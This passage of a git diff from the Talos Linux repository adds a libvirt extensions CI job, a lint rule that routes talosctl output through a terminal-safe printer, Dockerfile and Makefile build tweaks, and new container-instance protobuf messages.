diff --git a/.disvulncheck.yaml b/.disvulncheck.yaml index 843965ef6f8..970b32692cc 100644 --- a/.disvulncheck.yaml +++ b/.disvulncheck.yaml @@ -1,9 +1,6 @@ ignore_ttl: 168h # 7 days, each entry must be revalidated after this time, and either removed or renewed (with a new date) ignore: - - id: GO-2026-5932 - reason: No fix available. golang.org/x/crypto/openpgp is imported transitively because Cosign pulls Rekor's legacy rekord/v0.0.1 PGP implementation. Talos verifies Sigstore/X.509 signatures and does not use PGP; Cosign's legacy .sig path is an OCI storage format, not PGP. The reported PCR, error, io.Reader/io.Writer, and DSSE-to-rekord call chains are govulncheck VTA interface/factory false positives. - date: 2026-08-24 - id: GO-2026-4736 reason: 'gobgp NEXT_HOP DoS (GHSA-4p9m-8gc4-rw2h). The reachable recvMessageloop symbol is real, but the advisory records no fixed version, so govulncheck flags every version. Fix commit osrg/gobgp 583080a7 is an ancestor of pinned commit 2132288c5159, whose source skips ValidateUpdateMsg when parsing has already selected error handling, so it is not affected.' - date: 2026-08-24 + date: 2026-08-31 diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 00000000000..a91d549e754 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,44 @@ +# THIS FILE WAS AUTOMATICALLY GENERATED BY KRES, PLEASE DO NOT EDIT. +# +# Generated on 2026-09-01T12:13:02Z by kres 95505eb. + +.conform.yaml linguist-generated=true +.gitattributes linguist-generated=true +.github/renovate.json linguist-generated=true +.github/workflows/artifacts-cron.yaml linguist-generated=true +.github/workflows/ci.yaml linguist-generated=true +.github/workflows/grype-scan-cron.yaml linguist-generated=true +.github/workflows/integration-airgapped-triggered.yaml linguist-generated=true +.github/workflows/integration-aws-nvidia-triggered.yaml linguist-generated=true +.github/workflows/integration-aws-triggered.yaml linguist-generated=true +.github/workflows/integration-build-aws-image-triggered.yaml linguist-generated=true +.github/workflows/integration-build-enforcing-triggered.yaml linguist-generated=true +.github/workflows/integration-build-image-cache-triggered.yaml linguist-generated=true +.github/workflows/integration-cilium-triggered.yaml linguist-generated=true +.github/workflows/integration-cloud-images-triggered.yaml linguist-generated=true +.github/workflows/integration-conformance-triggered.yaml linguist-generated=true +.github/workflows/integration-embedded-triggered.yaml linguist-generated=true +.github/workflows/integration-extensions-libvirt-triggered.yaml linguist-generated=true +.github/workflows/integration-extensions-triggered.yaml linguist-generated=true +.github/workflows/integration-gcp-triggered.yaml linguist-generated=true +.github/workflows/integration-image-cache-triggered.yaml linguist-generated=true +.github/workflows/integration-image-factory-triggered.yaml linguist-generated=true +.github/workflows/integration-images-triggered.yaml linguist-generated=true +.github/workflows/integration-misc-0-triggered.yaml linguist-generated=true +.github/workflows/integration-misc-1-triggered.yaml linguist-generated=true +.github/workflows/integration-misc-2-triggered.yaml linguist-generated=true +.github/workflows/integration-misc-3-triggered.yaml linguist-generated=true +.github/workflows/integration-misc-4-triggered.yaml linguist-generated=true +.github/workflows/integration-provision-triggered.yaml linguist-generated=true +.github/workflows/integration-qemu-csi-longhorn-triggered.yaml linguist-generated=true +.github/workflows/integration-qemu-csi-netapp-triggered.yaml linguist-generated=true +.github/workflows/integration-qemu-csi-triggered.yaml linguist-generated=true +.github/workflows/integration-qemu-triggered.yaml linguist-generated=true +.github/workflows/integration-reproducibility-test-triggered.yaml linguist-generated=true +.github/workflows/integration-trusted-boot-triggered.yaml linguist-generated=true +.github/workflows/lock.yml linguist-generated=true +.github/workflows/publish-cloud-images.yaml linguist-generated=true +.github/workflows/slack-notify-ci-failure.yaml linguist-generated=true +.github/workflows/slack-notify.yaml linguist-generated=true +.github/workflows/stale.yml linguist-generated=true +.sops.yaml linguist-generated=true diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index a03518170d0..36ec7d3b931 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -1,6 +1,6 @@ # THIS FILE WAS AUTOMATICALLY GENERATED BY KRES, PLEASE DO NOT EDIT. # -# Generated on 2026-08-21T17:31:33Z by kres 95505eb. +# Generated on 2026-09-02T08:33:07Z by kres 6e80e64. concurrency: group: ${{ github.head_ref || github.run_id }} @@ -2714,6 +2714,112 @@ jobs: /tmp/logs-*.tar.gz /tmp/support-*.zip retention-days: "5" + integration-extensions-libvirt: + permissions: + actions: read + contents: write + issues: read + packages: write + pull-requests: read + runs-on: + group: large + if: contains(fromJSON(needs.default.outputs.labels || '[]'), 'integration/extensions') + || contains(fromJSON(needs.default.outputs.labels || '[]'), 'integration/extensions-libvirt') + || contains(fromJSON(needs.default.outputs.labels || '[]'), 'integration/release-gate') + needs: + - default + steps: + - name: gather-system-info + id: system-info + uses: kenchan0130/actions-system-info@59699597e84e80085a750998045983daa49274c4 # version: v1.4.0 + continue-on-error: true + - name: print-system-info + run: | + MEMORY_GB=$((${{ steps.system-info.outputs.totalmem }}/1024/1024/1024)) + + OUTPUTS=( + "CPU Core: ${{ steps.system-info.outputs.cpu-core }}" + "CPU Model: ${{ steps.system-info.outputs.cpu-model }}" + "Hostname: ${{ steps.system-info.outputs.hostname }}" + "NodeName: ${NODE_NAME}" + "Kernel release: ${{ steps.system-info.outputs.kernel-release }}" + "Kernel version: ${{ steps.system-info.outputs.kernel-version }}" + "Name: ${{ steps.system-info.outputs.name }}" + "Platform: ${{ steps.system-info.outputs.platform }}" + "Release: ${{ steps.system-info.outputs.release }}" + "Total memory: ${MEMORY_GB} GB" + ) + + for OUTPUT in "${OUTPUTS[@]}";do + echo "${OUTPUT}" + done + continue-on-error: true + - name: checkout + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # version: v7.0.0 + - name: Unshallow + run: | + git fetch --prune --unshallow + - name: Set up Docker Buildx + id: setup-buildx + uses: docker/setup-buildx-action@bb05f3f5519dd87d3ba754cc423b652a5edd6d2c # version: v4.2.0 + with: + driver: remote + endpoint: tcp://buildkit-amd64.ci.svc.cluster.local:1234 + timeout-minutes: 10 + - name: Download artifacts + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # version: v8.0.1 + with: + name: talos-artifacts + path: _out + - name: Fix artifact permissions + run: | + xargs -a _out/executable-artifacts -I {} chmod +x {} + - name: ci-temp-release-tag + run: | + make ci-temp-release-tag + - name: checkout extensions + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # version: v7.0.0 + with: + path: _out/extensions + ref: main + repository: siderolabs/extensions + - name: set variables + run: | + cat _out/talos-metadata >> "$GITHUB_ENV" + - name: build extensions + env: + PLATFORM: linux/amd64 + PUSH: "true" + REGISTRY: registry.dev.siderolabs.io + run: | + make libvirtd extensions-metadata -C _out/extensions + - name: installer extensions + env: + EXTENSIONS_FILTER_COMMAND: grep -E '/libvirtd:' + IMAGE_REGISTRY: registry.dev.siderolabs.io + run: | + make installer-with-extensions + - name: e2e-extensions-libvirt + env: + EXTRA_TEST_ARGS: -talos.extensions.qemu -talos.extensions.libvirt + GITHUB_STEP_NAME: ${{ github.job}}-e2e-extensions-libvirt + IMAGE_REGISTRY: registry.dev.siderolabs.io + INTEGRATION_TEST_RUN: TestIntegration/api.ExtensionsSuiteQEMU/TestExtensionsLibvirt + QEMU_MEMORY_WORKERS: "4096" + QEMU_WORKERS: "1" + SHORT_INTEGRATION_TEST: 'yes' + WITH_CONFIG_PATCH_WORKER: '@_out/installer-extensions-patch.yaml:@hack/test/patches/extensions-libvirt.yaml' + run: | + sudo -E make e2e-qemu + - name: save artifacts + if: always() + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # version: v7.0.1 + with: + name: talos-logs-integration-extensions-libvirt + path: |- + /tmp/logs-*.tar.gz + /tmp/support-*.zip + retention-days: "5" integration-gcp: permissions: actions: read @@ -3445,6 +3551,8 @@ jobs: withConfigPatch: '@hack/test/patches/dns-over-tls.yaml' - test: e2e-dns-over-http withConfigPatch: '@hack/test/patches/dns-over-http.yaml' + - test: e2e-sync-disabled + withConfigPatch: '@hack/test/patches/ntp-disabled.yaml' fail-fast: false max-parallel: 2 needs: diff --git a/.github/workflows/integration-extensions-libvirt-triggered.yaml b/.github/workflows/integration-extensions-libvirt-triggered.yaml new file mode 100644 index 00000000000..5daad3e4ff6 --- /dev/null +++ b/.github/workflows/integration-extensions-libvirt-triggered.yaml @@ -0,0 +1,115 @@ +# THIS FILE WAS AUTOMATICALLY GENERATED BY KRES, PLEASE DO NOT EDIT. +# +# Generated on 2026-09-01T12:13:02Z by kres 95505eb. + +concurrency: + group: ${{ github.head_ref || github.run_id }} + cancel-in-progress: true +'on': + workflow_run: + workflows: + - artifacts-cron + types: + - completed +name: integration-extensions-libvirt-triggered +jobs: + default: + permissions: + actions: read + runs-on: + group: large + if: github.event.workflow_run.conclusion == 'success' + steps: + - name: gather-system-info + id: system-info + uses: kenchan0130/actions-system-info@59699597e84e80085a750998045983daa49274c4 # version: v1.4.0 + continue-on-error: true + - name: print-system-info + run: | + MEMORY_GB=$((${{ steps.system-info.outputs.totalmem }}/1024/1024/1024)) + + OUTPUTS=( + "CPU Core: ${{ steps.system-info.outputs.cpu-core }}" + "CPU Model: ${{ steps.system-info.outputs.cpu-model }}" + "Hostname: ${{ steps.system-info.outputs.hostname }}" + "NodeName: ${NODE_NAME}" + "Kernel release: ${{ steps.system-info.outputs.kernel-release }}" + "Kernel version: ${{ steps.system-info.outputs.kernel-version }}" + "Name: ${{ steps.system-info.outputs.name }}" + "Platform: ${{ steps.system-info.outputs.platform }}" + "Release: ${{ steps.system-info.outputs.release }}" + "Total memory: ${MEMORY_GB} GB" + ) + + for OUTPUT in "${OUTPUTS[@]}";do + echo "${OUTPUT}" + done + continue-on-error: true + - name: checkout + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # version: v7.0.0 + - name: Unshallow + run: | + git fetch --prune --unshallow + - name: Set up Docker Buildx + id: setup-buildx + uses: docker/setup-buildx-action@bb05f3f5519dd87d3ba754cc423b652a5edd6d2c # version: v4.2.0 + with: + driver: remote + endpoint: tcp://buildkit-amd64.ci.svc.cluster.local:1234 + timeout-minutes: 10 + - name: Download artifacts + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # version: v8.0.1 + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + name: talos-artifacts + path: _out + run-id: ${{ github.event.workflow_run.id }} + - name: Fix artifact permissions + run: | + xargs -a _out/executable-artifacts -I {} chmod +x {} + - name: ci-temp-release-tag + run: | + make ci-temp-release-tag + - name: checkout extensions + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # version: v7.0.0 + with: + path: _out/extensions + ref: main + repository: siderolabs/extensions + - name: set variables + run: | + cat _out/talos-metadata >> "$GITHUB_ENV" + - name: build extensions + env: + PLATFORM: linux/amd64 + PUSH: "true" + REGISTRY: registry.dev.siderolabs.io + run: | + make libvirtd extensions-metadata -C _out/extensions + - name: installer extensions + env: + EXTENSIONS_FILTER_COMMAND: grep -E '/libvirtd:' + IMAGE_REGISTRY: registry.dev.siderolabs.io + run: | + make installer-with-extensions + - name: e2e-extensions-libvirt + env: + EXTRA_TEST_ARGS: -talos.extensions.qemu -talos.extensions.libvirt + GITHUB_STEP_NAME: ${{ github.job}}-e2e-extensions-libvirt + IMAGE_REGISTRY: registry.dev.siderolabs.io + INTEGRATION_TEST_RUN: TestIntegration/api.ExtensionsSuiteQEMU/TestExtensionsLibvirt + QEMU_MEMORY_WORKERS: "4096" + QEMU_WORKERS: "1" + SHORT_INTEGRATION_TEST: 'yes' + WITH_CONFIG_PATCH_WORKER: '@_out/installer-extensions-patch.yaml:@hack/test/patches/extensions-libvirt.yaml' + run: | + sudo -E make e2e-qemu + - name: save artifacts + if: always() + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # version: v7.0.1 + with: + name: talos-logs-integration-extensions-libvirt + path: |- + /tmp/logs-*.tar.gz + /tmp/support-*.zip + retention-days: "5" diff --git a/.github/workflows/integration-misc-2-triggered.yaml b/.github/workflows/integration-misc-2-triggered.yaml index ac31f7becf0..71f1ac4fb53 100644 --- a/.github/workflows/integration-misc-2-triggered.yaml +++ b/.github/workflows/integration-misc-2-triggered.yaml @@ -1,6 +1,6 @@ # THIS FILE WAS AUTOMATICALLY GENERATED BY KRES, PLEASE DO NOT EDIT. # -# Generated on 2026-07-07T09:19:50Z by kres 14a38a3. +# Generated on 2026-09-01T08:06:18Z by kres 6e80e64. concurrency: group: ${{ github.head_ref || github.run_id }} @@ -50,6 +50,8 @@ jobs: withConfigPatch: '@hack/test/patches/dns-over-tls.yaml' - test: e2e-dns-over-http withConfigPatch: '@hack/test/patches/dns-over-http.yaml' + - test: e2e-sync-disabled + withConfigPatch: '@hack/test/patches/ntp-disabled.yaml' fail-fast: false max-parallel: 2 steps: diff --git a/.github/workflows/slack-notify-ci-failure.yaml b/.github/workflows/slack-notify-ci-failure.yaml index d66e1f19b8c..cdb9c7ad952 100644 --- a/.github/workflows/slack-notify-ci-failure.yaml +++ b/.github/workflows/slack-notify-ci-failure.yaml @@ -1,6 +1,6 @@ # THIS FILE WAS AUTOMATICALLY GENERATED BY KRES, PLEASE DO NOT EDIT. # -# Generated on 2026-07-07T09:19:50Z by kres 14a38a3. +# Generated on 2026-09-01T12:13:02Z by kres 95505eb. 'on': workflow_run: @@ -21,6 +21,7 @@ - integration-misc-3-triggered - integration-misc-4-triggered - integration-extensions-triggered + - integration-extensions-libvirt-triggered - integration-cilium-triggered - integration-qemu-csi-triggered - integration-qemu-csi-longhorn-triggered diff --git a/.github/workflows/slack-notify.yaml b/.github/workflows/slack-notify.yaml index a99f6e9a1e3..404cd010c9c 100644 --- a/.github/workflows/slack-notify.yaml +++ b/.github/workflows/slack-notify.yaml @@ -1,6 +1,6 @@ # THIS FILE WAS AUTOMATICALLY GENERATED BY KRES, PLEASE DO NOT EDIT. # -# Generated on 2026-07-07T09:19:50Z by kres 14a38a3. +# Generated on 2026-09-01T12:13:02Z by kres 95505eb. 'on': workflow_run: @@ -21,6 +21,7 @@ - integration-misc-3-triggered - integration-misc-4-triggered - integration-extensions-triggered + - integration-extensions-libvirt-triggered - integration-cilium-triggered - integration-qemu-csi-triggered - integration-qemu-csi-longhorn-triggered diff --git a/.golangci.yml b/.golangci.yml index 8347f396a29..270de8b13e1 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -18,6 +18,7 @@ output: linters: default: all enable: + - forbidigo - loglinter - kubeimportlinter disable: @@ -28,7 +29,6 @@ linters: - err113 - errorlint - exhaustruct - - forbidigo - forcetypeassert - funcorder - funlen @@ -63,6 +63,22 @@ linters: - wrapcheck - wsl # replaced by wsl_v5 settings: + forbidigo: + forbid: + - pattern: ^fmt\.(Print|Printf|Println)$ + msg: >- + talosctl renders text received from the node it is talking to, and a terminal acts on + control sequences in it. + Print through cmd/talosctl/pkg/talos/safeout instead. + - pattern: ^cli\.(Warning|Fatalf)$ + msg: >- + these write to the raw stderr, so a warning quoting a node bypasses the filter. + Print through cmd/talosctl/pkg/talos/safeout instead. + - pattern: ^os\.(Stdout|Stderr)$ + msg: >- + use safeout.Stdout / safeout.Stderr so node-supplied text cannot drive the + operator's terminal. A stream which must stay raw - a + file, a pcap, an interactive pty - needs //nolint:forbidigo saying which. custom: loglinter: type: module @@ -168,6 +184,10 @@ linters: - fmt.Fprintln - fmt.Fprintf - fmt.Fprint + - github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout.Fprintf + - github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout.Printf + - github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout.Println + - github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout.Print exhaustive: default-signifies-exhaustive: false goconst: @@ -268,6 +288,14 @@ linters: exclusions: generated: lax rules: + # forbidigo guards the code which renders responses from a node; the offline + # config and local cluster commands do not have that input. + - linters: + - forbidigo + path-except: ^cmd/talosctl/(cmd/talos|pkg/talos)/ + - linters: + - forbidigo + path: cmd/talosctl/pkg/talos/safeout - linters: - dupl path: cmd/talosctl/cmd diff --git a/.kres.yaml b/.kres.yaml index 400ee698762..83eeabc6103 100644 --- a/.kres.yaml +++ b/.kres.yaml @@ -1151,6 +1151,8 @@ spec: withConfigPatch: "@hack/test/patches/dns-over-tls.yaml" - test: e2e-dns-over-http withConfigPatch: "@hack/test/patches/dns-over-http.yaml" + - test: e2e-sync-disabled + withConfigPatch: "@hack/test/patches/ntp-disabled.yaml" steps: - name: download-artifacts artifactStep: @@ -1439,6 +1441,70 @@ spec: artifactPath: /tmp/logs-*.tar.gz additionalArtifacts: - "/tmp/support-*.zip" + - name: integration-extensions-libvirt + buildxOptions: + enabled: true + depends: + - default + runnerGroup: large + onWorkflowRun: + workflows: [artifacts-cron] + types: [completed] + triggerLabels: + - integration/extensions + - integration/extensions-libvirt + - integration/release-gate + steps: + - name: download-artifacts + artifactStep: + type: download + artifactName: talos-artifacts + artifactPath: _out + - name: ci-temp-release-tag + - name: checkout extensions + checkoutStep: + repository: siderolabs/extensions + ref: main + path: _out/extensions + - name: set variables + nonMakeStep: true + command: cat _out/talos-metadata >> "$GITHUB_ENV" + - name: build extensions + command: libvirtd extensions-metadata + arguments: + - -C + - _out/extensions + environment: + PLATFORM: linux/amd64 + PUSH: true + REGISTRY: registry.dev.siderolabs.io + - name: installer extensions + command: installer-with-extensions + environment: + EXTENSIONS_FILTER_COMMAND: "grep -E '/libvirtd:'" + IMAGE_REGISTRY: registry.dev.siderolabs.io + - name: e2e-extensions-libvirt + command: e2e-qemu + withSudo: true + environment: + GITHUB_STEP_NAME: ${{ github.job}}-e2e-extensions-libvirt + QEMU_WORKERS: 1 + QEMU_MEMORY_WORKERS: 4096 + WITH_CONFIG_PATCH_WORKER: "@_out/installer-extensions-patch.yaml:@hack/test/patches/extensions-libvirt.yaml" + SHORT_INTEGRATION_TEST: yes + EXTRA_TEST_ARGS: -talos.extensions.qemu -talos.extensions.libvirt + INTEGRATION_TEST_RUN: TestIntegration/api.ExtensionsSuiteQEMU/TestExtensionsLibvirt + IMAGE_REGISTRY: registry.dev.siderolabs.io + - name: save-talos-logs + conditions: + - always + artifactStep: + type: upload + artifactName: talos-logs-integration-extensions-libvirt + disableExecutableListGeneration: true + artifactPath: /tmp/logs-*.tar.gz + additionalArtifacts: + - "/tmp/support-*.zip" - name: integration-cilium buildxOptions: enabled: true diff --git a/Dockerfile b/Dockerfile index b1bfcf3f2af..04ea7cb5a22 100644 --- a/Dockerfile +++ b/Dockerfile @@ -791,11 +791,9 @@ COPY --link --from=pkg-musl-amd64 / /rootfs COPY --link --from=pkg-nftables-amd64 / /rootfs COPY --link --from=pkg-runc-amd64 / /rootfs COPY --link --from=pkg-xfsprogs-amd64 / /rootfs -COPY --link --from=pkg-util-linux-amd64 /usr/lib/libblkid.* /rootfs/usr/lib/ -COPY --link --from=pkg-util-linux-amd64 /usr/lib/libuuid.* /rootfs/usr/lib/ -COPY --link --from=pkg-util-linux-amd64 /usr/lib/libmount.* /rootfs/usr/lib/ +COPY --link --from=pkg-util-linux-amd64 /usr/lib/ /rootfs/usr/lib/ COPY --link --from=pkg-util-linux-amd64 /usr/share/spdx/util-linux.spdx.json /rootfs/usr/share/spdx/util-linux.spdx.json -COPY --link --from=pkg-kmod-amd64 /usr/lib/libkmod.* /rootfs/usr/lib/ +COPY --link --from=pkg-kmod-amd64 /usr/lib/ /rootfs/usr/lib/ COPY --link --from=pkg-kmod-amd64 /usr/bin/kmod /rootfs/usr/bin/modprobe COPY --link --from=pkg-kmod-amd64 usr/share/spdx/kmod.spdx.json /rootfs/usr/share/spdx/kmod.spdx.json COPY --link --from=modules-amd64 /usr/lib/modules /rootfs/usr/lib/modules @@ -824,6 +822,7 @@ RUN --mount=type=bind,source=hack/cleanup.sh,target=/usr/bin/cleanup.sh <&1 | tee /grype-scan.log + --vex /talos.vex.json 2>&1 | tee /grype-scan.log FROM scratch AS grype-scan-result COPY --link --from=grype-scan /grype-scan.log /grype-scan.log @@ -1056,7 +1054,7 @@ COPY --link --from=vex /talos.vex.json /talos.vex.json COPY --link --from=vex /talos.grype.yaml /talos.grype.yaml RUN --mount=type=cache,target=/.cache,id=talos/.cache go tool \ github.com/anchore/grype/cmd/grype sbom:/talos-arm64.spdx.json \ - --vex /talos.vex.json -vv --fail-on negligible --config /talos.grype.yaml + --vex /talos.vex.json --fail-on negligible --config /talos.grype.yaml FROM rootfs-base-${TARGETARCH} AS rootfs-base RUN rm -rf /rootfs/usr/share/spdx/* @@ -1283,11 +1281,12 @@ COPY --link --from=rootfs / / COPY --link --from=pkg-ca-certificates / / COPY --link --from=pkg-btrfsprogs / / ARG TESTPKGS +ARG UNITTEST_PARALLELISM ENV PLATFORM=container ARG GO_LDFLAGS RUN --security=insecure --mount=type=cache,id=testspace,target=/tmp --mount=type=cache,target=/.cache,id=talos/.cache go test \ -ldflags "${GO_LDFLAGS}" \ - -covermode=atomic -coverprofile=coverage.txt -coverpkg=${TESTPKGS} -p 4 ${TESTPKGS} + -covermode=atomic -coverprofile=coverage.txt -coverpkg=${TESTPKGS} -p ${UNITTEST_PARALLELISM} ${TESTPKGS} FROM scratch AS unit-tests COPY --link --from=unit-tests-runner /src/coverage.txt /coverage.txt @@ -1298,12 +1297,15 @@ COPY --link --from=rootfs / / COPY --link --from=pkg-ca-certificates / / COPY --link --from=pkg-btrfsprogs / / ARG TESTPKGS +ARG UNITTEST_PARALLELISM ENV PLATFORM=container ENV CGO_ENABLED=1 + # reduce the wait time of TSan to exit after the test is done +ENV GORACE=atexit_sleep_ms=100 ARG GO_LDFLAGS RUN --security=insecure --mount=type=cache,id=testspace,target=/tmp --mount=type=cache,target=/.cache,id=talos/.cache go test \ -ldflags "${GO_LDFLAGS}" \ - -race -p 4 ${TESTPKGS} + -race -p ${UNITTEST_PARALLELISM} ${TESTPKGS} # The unit-tests-fips target performs tests with FIPS strict mode. FROM base AS unit-tests-fips @@ -1311,13 +1313,14 @@ COPY --link --from=rootfs / / COPY --link --from=pkg-ca-certificates / / COPY --link --from=pkg-btrfsprogs / / ARG TESTPKGS +ARG UNITTEST_PARALLELISM ENV PLATFORM=container ENV GOFIPS140=latest ENV GODEBUG=fips140=only,tlsmlkem=0 ARG GO_LDFLAGS RUN --security=insecure --mount=type=cache,id=testspace,target=/tmp --mount=type=cache,target=/.cache,id=talos/.cache go test \ -ldflags "${GO_LDFLAGS}" \ - -p 4 ${TESTPKGS} + -p ${UNITTEST_PARALLELISM} ${TESTPKGS} # The integration-test targets builds integration test binary. diff --git a/Makefile b/Makefile index 621e63156a2..3e3ced2e701 100644 --- a/Makefile +++ b/Makefile @@ -26,9 +26,9 @@ ARTIFACTS := _out EMBED_TARGET ?= embed TOOLS_PREFIX ?= ghcr.io/siderolabs/tools -TOOLS ?= v1.14.0-4-g2c8cf5a +TOOLS ?= v1.14.0-5-g87316ca PKGS_PREFIX ?= ghcr.io/siderolabs -PKGS ?= v1.14.0-10-g13c7afc +PKGS ?= v1.14.0-15-g2f03590 GENERATE_VEX_PREFIX ?= ghcr.io/siderolabs/generate-vex GENERATE_VEX ?= latest @@ -106,7 +106,7 @@ TALOSCTL_EXECUTABLE := $(PWD)/$(ARTIFACTS)/$(TALOSCTL_DEFAULT_TARGET)-$(ARCH) INTEGRATION_TEST := integration-test INTEGRATION_TEST_PROVISION_DEFAULT_TARGET := integration-test-provision-$(OPERATING_SYSTEM) # renovate: datasource=github-releases depName=kubernetes/kubernetes -KUBECTL_VERSION ?= v1.37.0-rc.1 +KUBECTL_VERSION ?= v1.37.0 # renovate: datasource=github-releases depName=kastenhq/kubestr KUBESTR_VERSION ?= v0.4.49 # renovate: datasource=github-releases depName=helm/helm @@ -121,6 +121,7 @@ KUBESTR_URL ?= https://github.com/kastenhq/kubestr/releases/download/$(KUBESTR_V HELM_URL ?= https://get.helm.sh/helm-$(HELM_VERSION)-linux-amd64.tar.gz CILIUM_CLI_URL ?= https://github.com/cilium/cilium-cli/releases/download/$(CILIUM_CLI_VERSION)/cilium-$(OPERATING_SYSTEM)-amd64.tar.gz TESTPKGS ?= github.com/siderolabs/talos/... +UNITTEST_PARALLELISM ?= 8 RELEASES ?= v1.12.9 v1.13.7 SHORT_INTEGRATION_TEST ?= CUSTOM_CNI_URL ?= @@ -255,6 +256,7 @@ COMMON_ARGS += --build-arg=SHA=$(SHA) COMMON_ARGS += --build-arg=SOURCE_DATE_EPOCH=$(SOURCE_DATE_EPOCH) COMMON_ARGS += --build-arg=TAG=$(TAG) COMMON_ARGS += --build-arg=TESTPKGS=$(TESTPKGS) +COMMON_ARGS += --build-arg=UNITTEST_PARALLELISM=$(UNITTEST_PARALLELISM) COMMON_ARGS += --build-arg=TOOLS_PREFIX=$(TOOLS_PREFIX) COMMON_ARGS += --build-arg=TOOLS=$(TOOLS) COMMON_ARGS += --build-arg=GENERATE_VEX_PREFIX=$(GENERATE_VEX_PREFIX) @@ -264,7 +266,7 @@ COMMON_ARGS += --build-arg=ZSTD_COMPRESSION_LEVEL=$(ZSTD_COMPRESSION_LEVEL) CI_ARGS ?= -EXTENSIONS_FILTER_COMMAND ?= grep -vE 'tailscale|xen-guest-agent|nvidia|vmtoolsd-guest-agent|metal-agent|cloudflared|zerotier|nebula|newt|netbird|multipath-tools|trident-iscsi-tools|-snapshotter|hyperv-guest-agent|/qemu:' +EXTENSIONS_FILTER_COMMAND ?= grep -vE 'tailscale|xen-guest-agent|nvidia|vmtoolsd-guest-agent|metal-agent|cloudflared|zerotier|nebula|newt|netbird|multipath-tools|trident-iscsi-tools|-snapshotter|hyperv-guest-agent|/qemu:|/libvirtd:' all: initramfs kernel installer imager talosctl talosctl-image talos diff --git a/api/common/common.proto b/api/common/common.proto index 3ff7267eca3..5a8a8b4b146 100644 --- a/api/common/common.proto +++ b/api/common/common.proto @@ -96,6 +96,8 @@ enum ContainerdNamespace { NS_UNKNOWN = 0; NS_SYSTEM = 1; NS_CRI = 2; + // NS_TALOSCONTAINERS is the namespace for containers declared via a ContainerConfig document. + NS_TALOSCONTAINERS = 3; } message ContainerdInstance { diff --git a/api/resource/definitions/containers/containers.proto b/api/resource/definitions/containers/containers.proto index 35796cd7c2d..db360080879 100755 --- a/api/resource/definitions/containers/containers.proto +++ b/api/resource/definitions/containers/containers.proto @@ -5,6 +5,7 @@ package talos.resource.definitions.containers; option go_package = "github.com/siderolabs/talos/pkg/machinery/api/resource/definitions/containers"; option java_package = "dev.talos.api.resource.definitions.containers"; +import "google/protobuf/timestamp.proto"; import "resource/definitions/enums/enums.proto"; // ContainerDependsOnSpec is the resolved dependency set. @@ -31,6 +32,50 @@ message ContainerImageStatusSpec { string error = 4; } +// ContainerInstanceSpecSpec is the spec for ContainerInstanceSpec. +// +// It carries a resolved snapshot of everything needed to run one execution, so whatever runs it +// never has to re-read the container spec or image status. That keeps the execution independent of +// later changes to those inputs: a spec change destroys this instance rather than mutating it. +message ContainerInstanceSpecSpec { + // ContainerID is the name of the owning container, i.e. the ContainerSpec ID. + string container_id = 1; + // Generation is this instance's sequence number for that container. + uint64 generation = 2; + // Image is the digest-resolved reference to run. + string image = 3; + repeated string entrypoint = 4; + repeated string args = 5; + string working_dir = 6; + ContainerRunAsSpec run_as = 7; + repeated string environment = 8; + // Mounts are fully resolved, with host source paths filled in. + repeated ResolvedMountSpec mounts = 9; + ContainerSecuritySpec security = 10; + ContainerNetworkSpec network = 11; + ContainerResourcesSpec resources = 12; +} + +// ContainerInstanceStatusSpec is the spec for ContainerInstanceStatus. +message ContainerInstanceStatusSpec { + // ContainerID is the name of the owning container, i.e. the ContainerSpec ID. + string container_id = 1; + // Generation is the reported instance's sequence number for that container. + uint64 generation = 2; + // Phase is the current execution phase. + talos.resource.definitions.enums.ContainersContainerInstancePhase phase = 3; + // PID is the task's process ID while running. + uint32 pid = 4; + // ExitCode is the task's exit code, meaningful only once Phase is ContainerInstancePhaseTerminated. + int32 exit_code = 5; + // Error describes why the task never started or exited abnormally. + string error = 6; + // StartedAt is when the task's process started. + google.protobuf.Timestamp started_at = 7; + // FinishedAt is when the task stopped running. + google.protobuf.Timestamp finished_at = 8; +} + // ContainerMountSpec is a resolved mount. // // Exactly one of VolumeID, Tmpfs or HostPath describes the source; Kind says which. @@ -45,10 +90,20 @@ message ContainerMountSpec { string destination = 4; // Size of a tmpfs mount, in bytes; zero means the kernel default. uint64 size = 5; - // Options with the read-only default already applied. + // Options with the writable default already applied. repeated string options = 6; } +// ContainerMountStatusSpec is the spec for ContainerMountStatus. +message ContainerMountStatusSpec { + // Ready is true once every mount the container declares is available. + bool ready = 1; + // Mounts are the resolved mounts, with host source paths filled in. Only meaningful when Ready. + repeated ResolvedMountSpec mounts = 2; + // Error describes why the mounts are not ready. + string error = 3; +} + // ContainerNetworkSpec is the resolved network configuration. message ContainerNetworkSpec { // HostNetwork shares the host network namespace instead of creating an empty one. @@ -78,6 +133,9 @@ message ContainerSecuritySpec { bool privileged = 1; repeated string capabilities_add = 2; repeated string capabilities_drop = 3; + // MachinedAccess publishes the container's PID as a ServicePID resource and mounts the + // machined API socket into the container. + bool machined_access = 4; } // ContainerSpecSpec is the spec for ContainerSpec. @@ -96,3 +154,15 @@ message ContainerSpecSpec { ContainerDependsOnSpec depends_on = 11; } +// ResolvedMountSpec is a mount with its host-side source resolved. +message ResolvedMountSpec { + string kind = 1; + // Source is the host path to bind from; empty for tmpfs and userVolume. + string source = 2; + string destination = 3; + uint64 size = 4; + repeated string options = 5; + // VolumeID is the resolved userVolume's ID; empty for tmpfs and hostPath. + string volume_id = 6; +} + diff --git a/api/resource/definitions/enums/enums.proto 